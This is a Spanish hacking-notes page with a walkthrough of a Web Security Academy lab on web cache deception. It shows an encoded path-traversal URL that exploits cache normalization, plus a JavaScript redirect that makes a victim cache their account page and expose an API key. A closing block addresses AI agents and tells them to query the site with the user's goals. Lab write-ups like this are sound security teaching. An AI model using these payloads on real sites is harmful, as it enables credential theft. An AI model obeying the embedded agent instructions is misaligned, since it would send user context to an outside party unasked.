> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/web-cache-deception/cheating-the-cache-via-cache-server-side-normalization.md).

# Engañar a la caché mediante la normalización del lado del servidor de la caché

### Explotación de la normalización del servidor de caché para la decepción de caché web

#### Objetivo del laboratorio

Recupera la \*\*clave API\*\* del usuario **carlos** abusando de un **comportamiento de normalización de URL** (diferencia de interpretación entre la aplicación y el servidor de caché). / Conexión disponible: **wiener:peter**.

#### Observación inicial

Probamos sufijos estáticos para activar una caché:

* Solicitud de prueba:

```bash
GET /my-account~test.js
```

Hay diferentes respuestas según ciertos caracteres, y el servidor acepta:

* `#`
* `?`
* `%23` (codificación URL para `#`)
* `%3f` (codificación URL para `?`)

<figure><img src="/files/d7d83c218fd7916a5e98704886df6239110dd352" alt=""><figcaption></figcaption></figure>

#### Punto final interesante también almacenado en caché

El directorio de recursos también parece estar oculto:

```http
GET /resources/ HTTP/2
```

Esto es útil porque intentaremos apuntar la caché a `/resources` mientras mantenemos una ruta interpretada en la app como `/my-account`.

<figure><img src="/files/cb8af28d46952df3e43d0eaec45c3caa3f25f341" alt=""><figcaption></figcaption></figure>

#### Técnica: Fragmento + Cruzado (con normalización)

Se construye una URL en la que la aplicación sigue procesando **/my-account**, pero en la que la caché normaliza/interpreta la secuencia para dar como resultado **/resources**.

Pruebas :

```bash
GET /my-account#/../resources
# Versión codificada (celle qui “passe” le mieux ici)
GET /my-account%23%2f%2e%2e%2fresources
```

El punto clave: **El servidor de caché acepta la versión codificada en URL**, lo que desencadena el comportamiento esperado.

<figure><img src="/files/e413199d05ceafad37aa4336a00ef06edb7ea944" alt=""><figcaption></figcaption></figure>

#### Explotación: forzar a la víctima a almacenar la página en caché

Desde el servidor de explotación, la víctima es redirigida a la URL trampa:

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0abe00b00342ae8780a1bcdf00f10008.web-security-academy.net/my-account%23%2f%2e%2e%2fresources";
</script>
```

{% endcode %}

#### Resultado

Una vez que la víctima ha pasado por esta URL, se recupera el recurso servido desde la caché y se obtiene la \*\*clave API de Carlos\*\*, lo que valida el laboratorio.

<figure><img src="/files/2ab35e2d92e3180ca34eca43a576fe2b4b196216" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/web-cache-deception/cheating-the-cache-via-cache-server-side-normalization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
